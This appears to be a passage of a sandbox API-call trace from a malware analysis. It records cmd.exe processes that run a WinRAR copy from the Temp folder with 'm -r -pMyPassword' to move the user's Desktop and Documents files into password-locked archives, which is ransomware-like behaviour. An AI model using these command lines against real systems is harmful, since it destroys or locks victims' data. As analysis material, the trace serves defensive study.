_wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.099] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.099] GetProcessHeap () returned 0x2a60000 [0056.099] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a68090) returned 1 [0056.100] GetProcessHeap () returned 0x2a60000 [0056.100] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xa) returned 0x2a68090 [0056.100] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0056.115] _get_osfhandle (_FileHandle=1) returned 0x90 [0056.115] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0056.138] _get_osfhandle (_FileHandle=0) returned 0x8c [0056.138] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0056.223] CreateProcessW (in: lpApplicationName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6ff3c0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6ff40c | out: lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpProcessInformation=0x6ff40c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xe3c, dwThreadId=0x4a4)) returned 1 [0056.414] CloseHandle (hObject=0xdc) returned 1 [0056.415] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0056.415] GetProcessHeap () returned 0x2a60000 [0056.415] RtlFreeHeap (HeapHandle=0x2a60000, Flags=0x0, BaseAddress=0x2a64c90) returned 1 [0056.415] GetEnvironmentStringsW () returned 0x2a64c90* [0056.415] GetProcessHeap () returned 0x2a60000 [0056.415] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xb1a) returned 0x2a78e70 [0056.415] FreeEnvironmentStringsA (penv="=") returned 1 [0056.415] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) Thread: id = 41 os_tid = 0x36c Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x7871d000" os_pid = "0x46c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Documents && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xf04 [0055.763] GetModuleHandleA (lpModuleName=0x0) returned 0x8e0000 [0055.763] __set_app_type (_Type=0x1) [0055.763] __p__fmode () returned 0x77ae3c14 [0055.763] __p__commode () returned 0x77ae49ec [0055.763] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x8f6fd0) returned 0x0 [0055.763] __getmainargs (in: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac, _DoWildCard=0, _StartInfo=0x90d1b8 | out: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac) returned 0 [0055.764] _onexit (_Func=0x8f8030) returned 0x8f8030 [0055.764] _onexit (_Func=0x8f8040) returned 0x8f8040 [0055.764] _onexit (_Func=0x8f8050) returned 0x8f8050 [0055.764] _onexit (_Func=0x8f8060) returned 0x8f8060 [0055.764] _onexit (_Func=0x8f8070) returned 0x8f8070 [0055.764] _onexit (_Func=0x8f8080) returned 0x8f8080 [0055.764] GetCurrentThreadId () returned 0xf04 [0055.765] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf04) returned 0xbc [0055.765] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0055.765] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0055.765] SetThreadUILanguage (LangId=0x0) returned 0x590409 [0055.830] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.830] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39fc50 | out: phkResult=0x39fc50*=0x0) returned 0x2 [0055.830] VirtualQuery (in: lpAddress=0x39fc5b, lpBuffer=0x39fc08, dwLength=0x1c | out: lpBuffer=0x39fc08*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.830] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39fc08, dwLength=0x1c | out: lpBuffer=0x39fc08*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0055.830] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39fc08, dwLength=0x1c | out: lpBuffer=0x39fc08*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0055.830] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39fc08, dwLength=0x1c | out: lpBuffer=0x39fc08*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.830] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39fc08, dwLength=0x1c | out: lpBuffer=0x39fc08*(BaseAddress=0x3a0000, AllocationBase=0x3a0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0055.830] GetConsoleOutputCP () returned 0x1b5 [0055.878] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0055.879] SetConsoleCtrlHandler (HandlerRoutine=0x907260, Add=1) returned 1 [0055.879] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.879] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x91388c | out: lpMode=0x91388c) returned 1 [0055.920] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.920] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913888 | out: lpMode=0x913888) returned 1 [0055.934] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.934] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0055.969] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.969] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x913890 | out: lpMode=0x913890) returned 1 [0055.973] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.973] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0055.984] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.984] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913894 | out: lpMode=0x913894) returned 1 [0056.034] _get_osfhandle (_FileHandle=0) returned 0x8c [0056.034] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0056.100] GetEnvironmentStringsW () returned 0x614c98* [0056.101] GetProcessHeap () returned 0x610000 [0056.101] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x615770 [0056.101] FreeEnvironmentStringsA (penv="A") returned 1 [0056.101] GetProcessHeap () returned 0x610000 [0056.101] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4) returned 0x614778 [0056.101] GetEnvironmentStringsW () returned 0x614c98* [0056.101] GetProcessHeap () returned 0x610000 [0056.101] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x616248 [0056.101] FreeEnvironmentStringsA (penv="A") returned 1 [0056.101] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39ebac | out: phkResult=0x39ebac*=0xcc) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0xc5, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x1, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0x1, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x0, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x40, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x40, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0x40, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.101] RegCloseKey (hKey=0xcc) returned 0x0 [0056.101] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39ebac | out: phkResult=0x39ebac*=0xcc) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0x40, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x1, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0x1, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.101] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x0, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.102] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x9, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.102] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x4, lpData=0x39ebb8*=0x9, lpcbData=0x39ebb0*=0x4) returned 0x0 [0056.102] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39ebb4, lpData=0x39ebb8, lpcbData=0x39ebb0*=0x1000 | out: lpType=0x39ebb4*=0x0, lpData=0x39ebb8*=0x9, lpcbData=0x39ebb0*=0x1000) returned 0x2 [0056.102] RegCloseKey (hKey=0xcc) returned 0x0 [0056.102] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca12d7d [0056.102] srand (_Seed=0x5ca12d7d) [0056.102] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Documents && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0056.102] malloc (_Size=0x4000) returned 0x2ad21f0 [0056.102] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Documents && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0056.102] malloc (_Size=0xffce) returned 0x2ae0048 [0056.103] ??_V@YAXPAX@Z () returned 0x39fb90 [0056.104] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ae0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.104] malloc (_Size=0xffce) returned 0x2af0020 [0056.105] ??_V@YAXPAX@Z () returned 0x39f964 [0056.105] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2af0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0056.105] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0056.105] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.105] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.105] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0056.105] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0056.105] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0056.105] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0056.105] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0056.105] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0056.105] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0056.105] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0056.106] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0056.106] GetProcessHeap () returned 0x610000 [0056.106] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x615770) returned 1 [0056.106] GetEnvironmentStringsW () returned 0x614c98* [0056.106] GetProcessHeap () returned 0x610000 [0056.106] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xae2) returned 0x617810 [0056.106] FreeEnvironmentStringsA (penv="A") returned 1 [0056.106] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0056.106] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0056.106] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0056.106] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0056.106] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0056.106] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0056.106] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0056.106] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0056.106] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0056.106] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0056.106] malloc (_Size=0xffce) returned 0x2affff8 [0056.106] ??_V@YAXPAX@Z () returned 0x39f6fc [0056.107] GetProcessHeap () returned 0x610000 [0056.107] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x38) returned 0x610ae0 [0056.107] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2affff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.107] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2affff8, lpFilePart=0x39f748 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x39f748*="Desktop") returned 0x17 [0056.107] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.107] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f4c8 | out: lpFindFileData=0x39f4c8) returned 0x610b20 [0056.107] FindClose (in: hFindFile=0x610b20 | out: hFindFile=0x610b20) returned 1 [0056.108] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x39f4c8 | out: lpFindFileData=0x39f4c8) returned 0x610b20 [0056.108] FindClose (in: hFindFile=0x610b20 | out: hFindFile=0x610b20) returned 1 [0056.108] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x39f4c8 | out: lpFindFileData=0x39f4c8) returned 0x610b20 [0056.108] FindClose (in: hFindFile=0x610b20 | out: hFindFile=0x610b20) returned 1 [0056.108] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0056.108] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0056.108] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0056.108] GetProcessHeap () returned 0x610000 [0056.108] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617810) returned 1 [0056.108] GetEnvironmentStringsW () returned 0x614c98* [0056.108] GetProcessHeap () returned 0x610000 [0056.108] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb1a) returned 0x616d20 [0056.108] FreeEnvironmentStringsA (penv="=") returned 1 [0056.108] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ae0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.108] GetProcessHeap () returned 0x610000 [0056.108] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x610ae0) returned 1 [0056.108] ??_V@YAXPAX@Z () returned 0x1 [0056.108] ??_V@YAXPAX@Z () returned 0x1 [0056.108] GetProcessHeap () returned 0x610000 [0056.108] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400e) returned 0x618e28 [0056.109] GetProcessHeap () returned 0x610000 [0056.109] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe6) returned 0x617848 [0056.109] GetProcessHeap () returned 0x610000 [0056.109] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x618e28) returned 1 [0056.109] GetConsoleOutputCP () returned 0x1b5 [0056.131] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0056.131] GetUserDefaultLCID () returned 0x409 [0056.131] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x90f82c, cchData=8 | out: lpLCData=":") returned 2 [0056.131] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x39fab8, cchData=128 | out: lpLCData="0") returned 2 [0056.131] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x39fab8, cchData=128 | out: lpLCData="0") returned 2 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x39fab8, cchData=128 | out: lpLCData="1") returned 2 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x90f81c, cchData=8 | out: lpLCData="/") returned 2 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x90f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x90f778, cchData=32 | out: lpLCData="Tue") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x90f738, cchData=32 | out: lpLCData="Wed") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x90f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x90f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x90f678, cchData=32 | out: lpLCData="Sat") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x90f638, cchData=32 | out: lpLCData="Sun") returned 4 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x90f80c, cchData=8 | out: lpLCData=".") returned 2 [0056.132] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x90f7f8, cchData=8 | out: lpLCData=",") returned 2 [0056.132] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0056.133] GetProcessHeap () returned 0x610000 [0056.133] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20c) returned 0x617980 [0056.133] GetConsoleTitleW (in: lpConsoleTitle=0x617980, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.139] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0056.139] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0056.139] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0056.139] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0056.139] ??_V@YAXPAX@Z () returned 0x1 [0056.139] GetProcessHeap () returned 0x610000 [0056.139] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x618e28 [0056.140] GetProcessHeap () returned 0x610000 [0056.140] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x618e28) returned 1 [0056.140] _wcsicmp (_String1="cd", _String2=")") returned 58 [0056.140] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0056.140] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0056.140] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0056.140] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0056.140] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0056.140] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0056.140] GetProcessHeap () returned 0x610000 [0056.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x617b98 [0056.140] GetProcessHeap () returned 0x610000 [0056.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe) returned 0x617bf8 [0056.140] GetProcessHeap () returned 0x610000 [0056.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x40) returned 0x617c10 [0056.141] GetProcessHeap () returned 0x610000 [0056.141] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x617c58 [0056.143] _wcsicmp (_String1="FOR", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.143] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0056.143] _wcsicmp (_String1="IF", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.143] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0056.143] _wcsicmp (_String1="REM", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.143] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0056.143] GetProcessHeap () returned 0x610000 [0056.143] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x617cb8 [0056.143] GetProcessHeap () returned 0x610000 [0056.143] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x66) returned 0x617d18 [0056.144] GetProcessHeap () returned 0x610000 [0056.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x46) returned 0x617d88 [0056.144] GetConsoleTitleW (in: lpConsoleTitle=0x39f950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.145] malloc (_Size=0xffce) returned 0x2af2688 [0056.145] ??_V@YAXPAX@Z () returned 0x39f6dc [0056.145] malloc (_Size=0xffce) returned 0x2b02660 [0056.146] ??_V@YAXPAX@Z () returned 0x39f494 [0056.146] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0056.146] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0056.146] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0056.146] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0056.146] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0056.146] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0056.146] ??_V@YAXPAX@Z () returned 0x1 [0056.146] GetProcessHeap () returned 0x610000 [0056.146] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x78) returned 0x617dd8 [0056.148] GetProcessHeap () returned 0x610000 [0056.148] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x617dd8, Size=0x3e) returned 0x617dd8 [0056.148] 